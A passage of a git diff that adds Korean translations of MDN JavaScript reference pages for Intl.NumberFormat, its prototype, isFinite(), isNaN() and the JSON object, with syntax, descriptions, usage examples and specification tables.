+  <dd>정수부의 최소 자릿수. 가능한 값은 1부터 21까지의 수로, 기본값은 1입니다.</dd>
+  <dt><code>minimumFractionDigits</code></dt>
+  <dd>소수부의 최소 자릿수. 가능한 값은 0부터 20까지의 수로, 평문 숫자와 백분율 서식의 기본값은 0입니다. 통화 서식의 기본값은 <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">ISO 4217 통화 코드 목록</a>이 제공하는 보조 단위의 자릿수에 따라 다릅니다. (목록에 정보가 없을 경우 2)</dd>
+  <dt><code>maximumFractionDigits</code></dt>
+  <dd>소수부의 최대 자릿수. 가능한 값은 0부터 20까지의 수로, 평문 숫자 서식의 기본값은 <code>minimumFractionDigits</code>와 3 중 더 큰 값입니다. 통화 서식의 기본값은 <code>minimumFractionDigits</code>와, <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">ISO 4217 통화 코드 목록</a>이 제공하는 보조 단위의 자릿수(목록에 정보가 없을 경우 2) 중 더 큰 값입니다. 백분율 서식의 기본값은 <code>minimumFractionDigits</code>와 0 중 더 큰 값입니다.</dd>
+  <dt><code>minimumSignificantDigits</code></dt>
+  <dd>유효숫자의 최소 수. 가능한 값은 1부터 21까지의 수로, 기본값은 1입니다.</dd>
+  <dt><code>maximumSignificantDigits</code></dt>
+  <dd>유효숫자의 최대 수. 가능한 값은 1부터 21까지의 수로, 기본값은 21입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="속성">속성</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}</dt>
+ <dd>모든 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="메서드">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</dt>
+ <dd>주어진 로케일 목록 중, 런타임이 지원하는 항목을 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="NumberFormat_인스턴스"><code>NumberFormat</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p><code>NumberFormat</code> 인스턴스는 프로토타입의 다음 속성을 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', '속성')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p><code>NumberFormat</code> 인스턴스는 프로토타입의 다음 메서드를 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', '메서드')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본적인_사용_방법">기본적인 사용 방법</h3>
+
+<p>로케일을 지정하지 않고 사용하면 기본 로케일 및 기본 옵션 서식을 적용한 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var number = 3500;
+
+console.log(new Intl.NumberFormat().format(number));
+// → 한국 로케일의 경우 '3,500' 표시
+</pre>
+
+<h3 id="locales_사용하기"><code>locales</code> 사용하기</h3>
+
+<p>다음 예제는 지역화된 숫자 서식의 예시를 보입니다. 어플리케이션의 사용자 인터페이스 언어에 맞는 서식을 적용하려면 <code>locales</code> 매개변수로 적절한 언어(와, 필요한 경우 대체 언어)를 제공하는걸 잊지 마세요.</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// 독일은 소수점 구분자로 쉼표를 사용하고 천 단위 구분자로 마침표를 사용
+console.log(new Intl.NumberFormat('de-DE').format(number));
+// → 123.456,789
+
+// 대부분의 아랍어 사용 국가에서는 실제 아라비아 숫자를 사용
+console.log(new Intl.NumberFormat('ar-EG').format(number));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// 인도는 천, 라크(십만), 크로르(천만) 단위에 구분자 사용
+console.log(new Intl.NumberFormat('en-IN').format(number));
+// → 1,23,456.789
+
+// nu 확장 키로 기수법 지정 (아래 예시는 중국식 숫자 표기)
+console.log(new Intl.NumberFormat('zh-Hans-CN-u-nu-hanidec').format(number));
+// → 一二三,四五六.七八九
+
+// 발리어와 같이 지원되지 않을 수도 있는 언어를 지정할 때는
+// 다음과 같이 대체 언어를 지정할 수 있음. 아래의 경우 대체 언어는 인도어
+console.log(new Intl.NumberFormat(['ban', 'id']).format(number));
+// → 123.456,789
+</pre>
+
+<h3 id="options_사용"><code>options</code> 사용</h3>
+
+<p><code>options</code> 매개변수를 지정해 결과를 원하는 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// 통화 서식
+console.log(new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR' }).format(number));
+// → 123.456,79 €
+
+// 한국 원화는 보조 통화 단위를 사용하지 않음
+console.log(new Intl.NumberFormat('ko-KR', { style: 'currency', currency: 'KRW' }).format(number));
+// → ₩123,457
+
+// 유효숫자를 세 개로 제한
+console.log(new Intl.NumberFormat('en-IN', { maximumSignificantDigits: 3 }).format(number));
+// → 1,23,000
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl', '같이_보기')}}</div>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html b/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
new file mode 100644
index 0000000000..19b0b8e0e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
@@ -0,0 +1,85 @@
+---
+title: Intl.NumberFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype
+tags:
+  - Internationalization
+  - Intl
+  - JavaScript
+  - NumberFormat
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.NumberFormat.prototype</code></strong> 속성은 {{jsxref("NumberFormat", "Intl.NumberFormat")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Intl.NumberFormat</code> 인스턴스에 대한 설명은 {{jsxref("NumberFormat")}} 문서를 참고하세요.</p>
+
+<p>{{jsxref("NumberFormat", "Intl.NumberFormat")}} 인스턴스는 <code>Intl.NumberFormat.prototype</code>을 상속합니다. 프로토타입 객체를 변형하면 모든 {{jsxref("NumberFormat", "Intl.NumberFormat")}} 인스턴스가 영향을 받습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Intl.NumberFormat.prototype.constructor</code></dt>
+ <dd><code>Intl.NumberFormat</code>에 대한 참조입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format()")}}</dt>
+ <dd>주어진 숫자에 {{jsxref("NumberFormat")}} 객체의 로케일과 서식 설정을 적용해 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.formatToParts", "Intl.NumberFormat.prototype.formatToParts()")}}</dt>
+ <dd>서식을 적용한 숫자의 각 부분을 객체로 표현해서 {{jsxref("Array")}}로 반환합니다. 반환 값은 로케일별 커스텀 서식에 사용할 수 있습니다.</dd>
+ <dt>{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>객체 인스턴스 생성 때 주어진 로케일과 콜레이션 설정이 어떻게 반영되었나 나타내는 새로운 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype', 'Intl.NumberFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.prototype")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/isfinite/index.html b/files/ko/web/javascript/reference/global_objects/isfinite/index.html
new file mode 100644
index 0000000000..834389e2f7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/isfinite/index.html
@@ -0,0 +1,84 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/isFinite
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>isFinite()</strong></code> 전역 함수는 주어진 값이 유한수인지 판별합니다. 필요한 경우 매개변수를 먼저 숫자로 변환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">isFinite(<em>testValue</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>유한한지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>testValue</code>가 양 또는 음의 {{jsxref("Infinity")}}, {{jsxref("NaN")}}, 또는 {{jsxref("undefined")}}면 <code>false</code>, 아니면 <code>true</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>isFinite()</code>은 최상위 함수로 어떤 객체와도 연결되지 않았습니다.</p>
+
+<p>숫자가 유한수인지 판별하기 위해 <code>isFinite()</code>을 사용할 수 있습니다. <code>isFinite()</code>은 주어진 수를 검사해 그 값이 <code>NaN</code>, 양의 무한대, 또는 음의 무한대이면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="isFinite_사용하기"><code>isFinite()</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+isFinite(910);       // true
+
+isFinite(null);      // true, would've been false with the
+                     // more robust Number.isFinite(null)
+
+isFinite('0');       // true, would've been false with the
+                     // more robust Number.isFinite("0")</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.isFinite")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN()")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/isnan/index.html b/files/ko/web/javascript/reference/global_objects/isnan/index.html
new file mode 100644
index 0000000000..f0b2f12a31
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/isnan/index.html
@@ -0,0 +1,190 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/isNaN
+tags:
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>isNaN()</strong></code> 함수는 어떤 값이 {{jsxref("NaN")}}인지 판별합니다. <code>isNaN</code> 함수는 몇몇 {{anch("일반적이지 않은 규칙")}}을 가지고 있으므로, ECMAScript 2015에서 추가한 {{jsxref("Number.isNaN()")}}으로 바꾸는 편이 좋을 수도 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>value</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>테스트되는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 {{jsxref("NaN")}}이면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="isNaN_함수의_필요성"><code>isNaN</code> 함수의 필요성</h3>
+
+<p>JavaScript의 다른 모든 값과 달리, {{jsxref("NaN")}}은 같음 연산(<code>==</code>, <code>===</code>)을 사용해 판별할 수 없습니다. <code>NaN == NaN</code>, <code>NaN === NaN</code>이기 때문입니다. 그래서 <code>NaN</code>을 판별하는 함수가 필요합니다.</p>
+
+<h3 id="NaN_값의_기원"><code>NaN</code> 값의 기원</h3>
+
+<p><code>NaN</code> 값은 산술 연산이 <strong>정의되지 않은</strong> 결과 또는 <strong>표현할 수 없는</strong> 결과를 도출하면 생성되며, 반드시 오버플로 조건을 나타내는 것은 아닙니다. 숫자가 아닌 값의 변환을 시도했으나 알맞은 원시 숫자 값이 없는 경우의 결과도 <code>NaN</code>입니다.</p>
+
+<p>예를 들어 0을 0으로 나누면 <code>NaN</code>이지만, 다른 수를 0으로 나누면 그렇지 않습니다.</p>
+
+<h3 id="혼란스러운_특별_케이스_행동"><a id="special-behavior" name="special-behavior"></a>혼란스러운 특별 케이스 행동</h3>
+
+<p><code>isNaN</code> 함수 스펙의 아주 초기 버전 이후로, 숫자 아닌 인수를 위한 행동이 혼란스럽습니다. <code>isNaN</code> 함수의 인수가 <a href="http://es5.github.com/#x8.5" title="http://es5.github.com/#x8.5">Number</a> 형이 아닌 경우, 그 값은 먼저 숫자로 강제됩니다. 결과값은 그 뒤에 {{jsxref("NaN")}}인지 결정하기 위해 테스트됩니다. 따라서 숫자 형으로 강제된 결과 유효한 비 NaN 숫자값(특히 강제될 때 숫자값이 0 또는 1을 주는 빈 문자열 및 불린 원시형)이 되는 비 숫자의 경우, "false" 반환값은 예기치 않을 수 있습니다; 예를 들어 빈 문자열은 분명히 "not a number"입니다. 혼란(confusion)은 용어 "not a number"가 IEEE-754 부동 소수점 값으로 표현된 숫자에 특정 의미가 있다는 사실에서 생깁니다. 함수는 "이 값이, 숫자값으로 강제되는 경우, IEEE-754 'Not A Number' 값인가?"라는 질문에 답하는 것으로 해석되어야 합니다.</p>
+
+<p>ECMAScript (ES2015) 최근 버전은 {{jsxref("Number.isNaN()")}} 함수를 포함합니다. <code>Number.isNaN(x)</code>는 <code>x</code>가 <code>NaN</code>인지 아닌지 테스트하는 믿을 수 있는 방법이 됩니다. 그러나 <code>Number.isNaN</code>으로도, <code>NaN</code>의 의미는 정확한 숫자 의미로 남아있고 단순히 "not a number"는 아닙니다. 그 대신에, <code>Number.isNaN</code>이 없을 경우에, 식 <code>(x != x)</code>은 변수 <code>x</code>가 <code>NaN</code>인지 아닌지 테스트하는 더 믿을 수 있는 방법입니다, 그 결과는 <code>isNaN</code>을 믿을 수 없게 하는 오탐(false positive)의 대상이 아니기에.</p>
+
+<p>당신은 isNaN을 다음과 같이 생각할 수 있습니다:</p>
+
+<pre class="brush: js">isNaN = function(value) {
+    Number.isNaN(Number(value));
+}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">isNaN(NaN);       // 참
+isNaN(undefined); // 참
+isNaN({});        // 참
+
+isNaN(true);      // 거짓
+isNaN(null);      // 거짓
+isNaN(37);        // 거짓
+
+// 문자열
+isNaN("37");      // 거짓: "37"은 NaN이 아닌 숫자 37로 변환됩니다
+isNaN("37.37");   // 거짓: "37.37"은 NaN이 아닌 숫자 37.37로 변환됩니다
+isNaN("123ABC");  // 참: parseInt("123ABC")는 123이지만 Number("123ABC")는 NaN입니다
+isNaN("");        // 거짓: 빈 문자열은 NaN이 아닌 0으로 변환됩니다
+isNaN(" ");       // 거짓: 공백이 있는 문자열은 NaN이 아닌 0으로 변환됩니다
+
+// dates
+isNaN(new Date());                // 거짓
+isNaN(new Date().toString());     // 참
+
+// 이것이 허위 양성이고 isNaN이 완전히 신뢰할 수 없는 이유이다.
+isNaN("blabla")   // 참: "blabla"는 숫자로 변환됩니다.
+                  // 이것을 숫자롯 parsing 하는 것을 실패하고 NaN을 반환한다.
+</pre>
+
+<h3 id="유용한_특별_케이스_행동">유용한 특별 케이스 행동</h3>
+
+<p><code>isNaN()</code>을 고려한 더 용도 중심 방법이 있습니다: <code>isNaN(x)</code>가 <code>false</code>를 반환하면, 그 식이 <code>NaN</code>을 반환하게 하지 않고 산술 식에 <code>x</code>를 쓸 수 있습니다. <code>true</code>를 반환하는 경우, <code>x</code>는 모든 산술 식이 <code>NaN</code>을 반환하게 합니다. 이는 JavaScript에서, <code>isNaN(x) == true</code>가 <code>NaN</code>을 반환하는 <code>x - 0</code>과 동일함(JavaScript에서 <code>x - 0 == NaN</code>가 항상 거짓을 반환하여 그것을 테스트할 수 없지만)을 뜻합니다. 실제로, <code>isNaN(x)</code>, <code>isNaN(x - 0)</code>, <code>isNaN(Number(x))</code>, <code>Number.isNaN(x - 0)</code> 및 <code>Number.isNaN(Number(x))</code>는 항상 같은 값을 반환하며 JavaScript에서 <code>isNaN(x)</code>는 그저 이러한 각각의 조건(terms)을 표현하는 가장 짧은 형태입니다.</p>
+
+<p>예를 들어 함수에 인수가 산술 처리 가능한(숫자 "처럼" 쓸 수 있는)지를 테스트하기 위해 사용할 수 있습니다, 그렇지 않은 경우 기본 값 또는 다른 무언가를 제공해야 합니다. 이런 식으로 문맥에 따라 암시적인 값 변환을 제공하는 JavaScript의 다양성(versatility) 전체를 이용케 하는 함수를 가질 수 있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">function increment(x) {
+  if (isNaN(x)) x = 0;
+  return x + 1;
+};
+
+// Number.isNaN()과 같은 효과:
+function increment(x) {
+  if (Number.isNaN(Number(x))) x = 0;
+  return x + 1;
+};
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 거짓, x가 실제 숫자가 아닐지라도
+// 하지만 산술 식에 그대로
+// 사용될 수 있습니다
+increment("");            // 1: ""는 0으로 변환됩니다
+increment(new String());  // 1: 빈 문자열을 나타내는 String 객체는 0으로 변환됩니다
+increment([]);            // 1: []는 0으로 변환됩니다
+increment(new Array());   // 1: 빈 배열을 나타내는 Array 객체는 0으로 변환됩니다
+increment("0");           // 1: "0"은 0으로 변환됩니다
+increment("1");           // 2: "1"은 1로 변환됩니다
+increment("0.1");         // 1.1: "0.1"은 0.1로 변환됩니다
+increment("Infinity");    // Infinity: "Infinity"는 Infinity로 변환됩니다
+increment(null);          // 1: null은 0으로 변환됩니다
+increment(false);         // 1: false는 0으로 변환됩니다
+increment(true);          // 2: true는 1로 변환됩니다
+increment(new Date());    // 밀리초로 현재 date/time + 1을 반환합니다
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 거짓이고 x는 실제로 숫자입니다
+increment(-1);            // 0
+increment(-0.1);          // 0.9
+increment(0);             // 1
+increment(1);             // 2
+increment(2);             // 3
+// ... 등등 ...
+increment(Infinity);      // Infinity
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 참이고 x는 실제로 숫자가 아닙니다,
+// 따라서 함수는 인수를 0으로 대체하고 1을 반환합니다
+increment(String);            // 1
+increment(Array);             // 1
+increment("blabla");          // 1
+increment("-blabla");         // 1
+increment(0/0);               // 1
+increment("0/0");             // 1
+increment(Infinity/Infinity); // 1
+increment(NaN);               // 1
+increment(undefined);         // 1
+increment();                  // 1
+
+// isNaN(x)는 항상 isNaN(Number(x))과 같지만,
+// x의 존재는 여기서 필수입니다!
+isNaN(x) == isNaN(Number(x)) // x == undefined 포함 x의 어떤 값도 참,
+                             // isNaN(undefined) == true 및 Number(undefined)가 NaN을 반환하기에,
+                             // 하지만 ...
+isNaN() == isNaN(Number())   // 거짓, isNaN() == true 및 Number() == 0 때문에
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.isNaN")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/json/index.html b/files/ko/web/javascript/reference/global_objects/json/index.html
new file mode 100644
index 0000000000..ef21cfc534
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/index.html
@@ -0,0 +1,122 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Global_Objects/JSON
+tags:
+  - JSON
+  - JavaScript
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>JSON</code></strong> 객체는 <a class="external" href="http://json.org/">JavaScript Object Notation</a>({{glossary("JSON")}})을 분석하거나 값을 JSON으로 변환하는 메서드를 가지고 있습니다. <code>JSON</code>을 직접 호출하거나 인스턴스를 생성할 수 없으며, 두 개의 메서드를 제외하면 자신만의 흥미로운 기능은 없습니다.</p>
+
+<h2 id="JavaScript와_JSON의_차이">JavaScript와 JSON의 차이</h2>
+
+<p>JSON은 객체, 배열, 숫자, 문자열, 불리언과 {{jsxref("null")}}을 직렬화하기 위한 구문으로, JavaScript 구문에 기반을 두고 있지만 분명한 차이점을 가지고 있습니다. 즉, 어떤 JavaScript는 JSON이 아닙니다.</p>
+
+<dl>
+ <dt>객체와 배열</dt>
+ <dd>속성의 이름은 반드시 큰따옴표로 표시된 문자열이어야 합니다. <a href="/ko/docs/Web/JavaScript/Reference/Trailing_commas">후행 쉼표</a>는 허용하지 않습니다.</dd>
+ <dt>숫자</dt>
+ <dd>선행 0은 허용하지 않습니다. 소숫점 뒤에는 적어도 한 자릿수가 뒤따라야 합니다. {{jsxref("NaN")}}과 {{jsxref("Infinity")}}는 지원하지 않습니다.</dd>
+ <dt>모든 JSON 텍스트는 유효한 JavaScript 표현식...</dt>
+ <dd>...이지만,<a href="https://github.com/tc39/proposal-json-superset"> 모든 JSON 텍스트를 올바른 ECMA-262로 만드는 제안</a>을 구현한 JavaScript 엔진에서만 그러합니다. 다른 엔진에서는, U+2028 LINE SEPARATOR와 U+2029 PARAGRAPH SEPARATOR를 JSON에서 스트링 리터럴과 속성의 키로 사용할 수 있지만, JavaScript 문자열 리터럴에서 사용하면 {{jsxref("SyntaxError")}}가 발생합니다.</dd>
+</dl>
+
+<p>{{jsxref("JSON.parse()")}}로 JSON 문자열을 분석하고 {{jsxref("eval")}}이 JavaScript 문자열로 실행하는 다음 예시를 참고하세요.</p>
+
+<pre class="brush: js">const code = '"\u2028\u2029"'
+JSON.parse(code) // 모든 엔진에서 "\u2028\u2029"로 평가
+eval(code)       // 오래된 엔진에서 SyntaxError
+</pre>
+
+<p>다른 차이점으로는 문자열의 작은따옴표 금지와, 주석 및 {{jsxref("undefined")}} 미지원이 있습니다. JSON에 기반한, 보다 사람 친화적인 설정 형식을 원하면 Babel 컴파일러가 사용하는 <a href="https://json5.org/">JSON5</a>가 있고, 좀 더 많이 쓰이는 <a href="https://ko.wikipedia.org/wiki/YAML">YAML</a>도 있습니다.</p>
+
+<h2 id="전체_JSON_구문">전체 JSON 구문</h2>
+
+<pre><var>JSON</var> = <strong>null</strong>
+    <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+    <em>or</em> <var>JSONNumber</var>
+    <em>or</em> <var>JSONString</var>
+    <em>or</em> <var>JSONObject</var>
+    <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+          <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+              <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+              <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+             <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+            <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+        <em>or</em> <strong>+</strong> <var>Digits</var>
+        <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+      <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+          <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+                <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+                  <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+               <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong>
+              <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+        <em>or</em> <strong>A</strong> through <strong>F</strong>
+        <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+          <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+       <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+         <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+             <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var>
+</pre>
+
+<p>중요하지 않은 공백은 <code><var>JSONNumber</var></code>(숫자에는 공백이 없어야 함) 또는 <code><var>JSONString</var></code>(문자열에서 해당 문자로 해석되거나 오류를 일으킴) 내를 제외하고 어디에나 존재할 수 있습니다. 탭 문자(<a href="http://unicode-table.com/en/0009/">U+0009</a>), 캐리지 리턴(<a href="http://unicode-table.com/en/000D/">U+000D</a>), 라인 피드(<a href="http://unicode-table.com/en/000A/">U+000A</a>) 및 스페이스(<a href="http://unicode-table.com/en/0020/">U+0020</a>) 문자만이 유효한 공백 문자입니다.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>문자열을 JSON으로서 구문 분석하고, 선택적으로 분석 결과의 값과 속성을 변환해 반환합니다.</dd>
